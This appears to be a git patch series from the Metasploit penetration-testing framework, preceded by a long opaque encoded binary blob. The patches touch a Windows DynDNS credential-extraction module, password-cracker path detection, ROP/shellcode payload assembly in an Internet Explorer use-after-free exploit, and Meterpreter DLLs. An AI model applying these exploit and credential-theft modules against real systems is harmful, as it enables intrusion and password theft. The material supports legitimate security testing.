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 WU!sLeV9B<W=#=BCH+_9v!T$qKSmB-k From c2c6422078f3c4c49fc66d15537f1b5999d34231 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Wed, 9 Oct 2013 09:56:07 -0500 Subject: [PATCH 61/68] Correct the name of "DynDNS" (not Dyn-DNS) --- modules/post/windows/gather/credentials/dyndns.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/credentials/dyndns.rb b/modules/post/windows/gather/credentials/dyndns.rb index 95fcdacffa..3ec266b4e3 100644 --- a/modules/post/windows/gather/credentials/dyndns.rb +++ b/modules/post/windows/gather/credentials/dyndns.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Post def initialize(info={}) super(update_info(info, - 'Name' => 'Windows Gather Dyn-Dns Client Password Extractor', + 'Name' => 'Windows Gather DynDNS Client Password Extractor', 'Description' => %q{ - This module extracts the username, password, and hosts for Dyn-Dns version 4.1.8. + This module extracts the username, password, and hosts for DynDNS version 4.1.8. This is done by downloading the config.dyndns file from the victim machine, and then automatically decode the password field. The original copy of the config file is also saved to disk. From f95da649f82d8abdf6b26c99ba777a7bbf6d7233 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Wed, 9 Oct 2013 12:11:23 -0500 Subject: [PATCH 62/68] Deal with missing bins, too. This could be way more DRY. At least there's a YARD-ish comment. This fixes up https://github.com/rapid7/metasploit-framework/pull/2465 to be a more complete solution. [SeeRM #8465] --- lib/msf/core/auxiliary/jtr.rb | 30 ++++++++++++++++++++---------- 1 file changed, 20 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index 6a9c598459..d2b4808664 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -37,14 +37,19 @@ module Auxiliary::JohnTheRipper autodetect_platform end + # @return [String] the run path instance variable if the platform is detectable, nil otherwise. def autodetect_platform - cpuinfo_base = ::File.join(Msf::Config.install_root, "data", "cpuinfo") return @run_path if @run_path - + cpuinfo_base = ::File.join(Msf::Config.data_directory, "cpuinfo") if File.directory?(cpuinfo_base) + data = nil + case ::RUBY_PLATFORM when /mingw|cygwin|mswin/ - data = `"#{cpuinfo_base}/cpuinfo.exe"` rescue nil + fname = "#{cpuinfo_base}/cpuinfo.exe" + if File.exists?(fname) and File.executable?(fname) + data = %x{"#{fname}"} + end case data when /sse2/ @run_path ||= "run.win32.sse2/john.exe" @@ -53,20 +58,24 @@ module Auxiliary::JohnTheRipper else @run_path ||= "run.win32.any/john.exe" end - when /x86_64-linux/ - ::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia64.bin") rescue nil - data = `#{cpuinfo_base}/cpuinfo.ia64.bin` rescue nil + fname = "#{cpuinfo_base}/cpuinfo.ia64.bin" + if File.exists? fname + ::FileUtils.chmod(0755, fname) rescue nil + data = %x{"#{fname}"} + end case data when /mmx/ @run_path ||= "run.linux.x64.mmx/john" else @run_path ||= "run.linux.x86.any/john" end - when /i[\d]86-linux/ - ::FileUtils.chmod(0755, "#{cpuinfo_base}/cpuinfo.ia32.bin") rescue nil - data = `#{cpuinfo_base}/cpuinfo.ia32.bin` rescue nil + fname = "#{cpuinfo_base}/cpuinfo.ia32.bin" + if File.exists? fname + ::FileUtils.chmod(0755, fname) rescue nil + data = %x{"#{fname}"} + end case data when /sse2/ @run_path ||= "run.linux.x86.sse2/john" @@ -77,7 +86,8 @@ module Auxiliary::JohnTheRipper end end end - @run_path + + return @run_path end def john_session_id From 356263df5602719d72fa002e5e66cc9e5ec0f2bf Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Wed, 9 Oct 2013 12:17:13 -0500 Subject: [PATCH 63/68] Litter some more rescue nil's in there I hate them but they were there when I got there. A more sane way to deal with this should happen someday. --- lib/msf/core/auxiliary/jtr.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index d2b4808664..140fa94ee4 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -48,7 +48,7 @@ module Auxiliary::JohnTheRipper when /mingw|cygwin|mswin/ fname = "#{cpuinfo_base}/cpuinfo.exe" if File.exists?(fname) and File.executable?(fname) - data = %x{"#{fname}"} + data = %x{"#{fname}"} rescue nil end case data when /sse2/ @@ -62,7 +62,7 @@ module Auxiliary::JohnTheRipper fname = "#{cpuinfo_base}/cpuinfo.ia64.bin" if File.exists? fname ::FileUtils.chmod(0755, fname) rescue nil - data = %x{"#{fname}"} + data = %x{"#{fname}"} rescue nil end case data when /mmx/ @@ -74,7 +74,7 @@ module Auxiliary::JohnTheRipper fname = "#{cpuinfo_base}/cpuinfo.ia32.bin" if File.exists? fname ::FileUtils.chmod(0755, fname) rescue nil - data = %x{"#{fname}"} + data = %x{"#{fname}"} rescue nil end case data when /sse2/ From 1e3b84d39b9389b8964f79f1faa32ca2f22a1f99 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Wed, 9 Oct 2013 13:40:48 -0500 Subject: [PATCH 64/68] Update ie_cgenericelement_uaf --- modules/exploits/windows/browser/ie_cgenericelement_uaf.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb index 1f89fe8ae0..8b416d9793 100644 --- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb +++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb @@ -119,21 +119,21 @@ class Metasploit3 < Msf::Exploit::Remote # Extra junk in the end to make sure post code execution is stable. p = payload.encoded - p << rand_text_alpha(12000) case t['Rop'] when :msvcrt align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 rop_payload = '' if t.name == 'IE 8 on Windows XP SP3' - rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'xp'}) + rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'xp'}) elsif t.name == 'IE 8 on Windows Server 2003' - rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'2003'}) + rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'2003'}) end else code = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 code << p + code << rand_text_alpha(12000) rop_payload = generate_rop_payload('java', code) end From 52574b09cb1c0f4b347a8a02516d993097c33b27 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Wed, 9 Oct 2013 14:13:45 -0500 Subject: [PATCH 65/68] Add OSVDB reference --- modules/exploits/unix/webapp/flashchat_upload_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb index 333cd7fa08..2530c180c9 100644 --- a/modules/exploits/unix/webapp/flashchat_upload_exec.rb +++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb @@ -31,6 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ + ['OSVDB', '98233'], ['EDB', '28709'] ], 'Payload' => From e3014a1e917e58d58e03c20b3fd3187179fa9034 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Wed, 9 Oct 2013 14:56:42 -0500 Subject: [PATCH 66/68] Fix ZDI Reference --- modules/exploits/windows/misc/hp_loadrunner_magentproc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb index a028d0f990..e51c94a140 100644 --- a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb +++ b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2013-4800'], ['OSVDB', '95644'], - ['http://www.zerodayinitiative.com/advisories/ZDI-13-169/'] + ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-169/'] ], 'Privileged' => false, 'DefaultOptions' => From b477ae369bfc2beed1564fa97be0b19e22c611fc Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Thu, 10 Oct 2013 16:03:38 +1000 Subject: [PATCH 67/68] Updated stdapi binaries with railgun fix Changes are from https://github.com/rapid7/meterpreter/pull/28 --- data/meterpreter/ext_server_stdapi.x64.dll | Bin 405504 -> 406016 bytes data/meterpreter/ext_server_stdapi.x86.dll | Bin 376832 -> 376832 bytes 2 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.x64.dll b/data/meterpreter/ext_server_stdapi.x64.dll index 16706a7a281d0364b5b86a2f43abc3c36b5df57b..5b7a8211eab7d3d73cefe27915f4ebab5c434397 100755 GIT binary patch delta 48520 zcmZr(34Be*_kT0VBP7pzlDw=UAqlZ0LWD$wL=s*|?E4yxeXAw0v?Yj;=X#34ptaMg 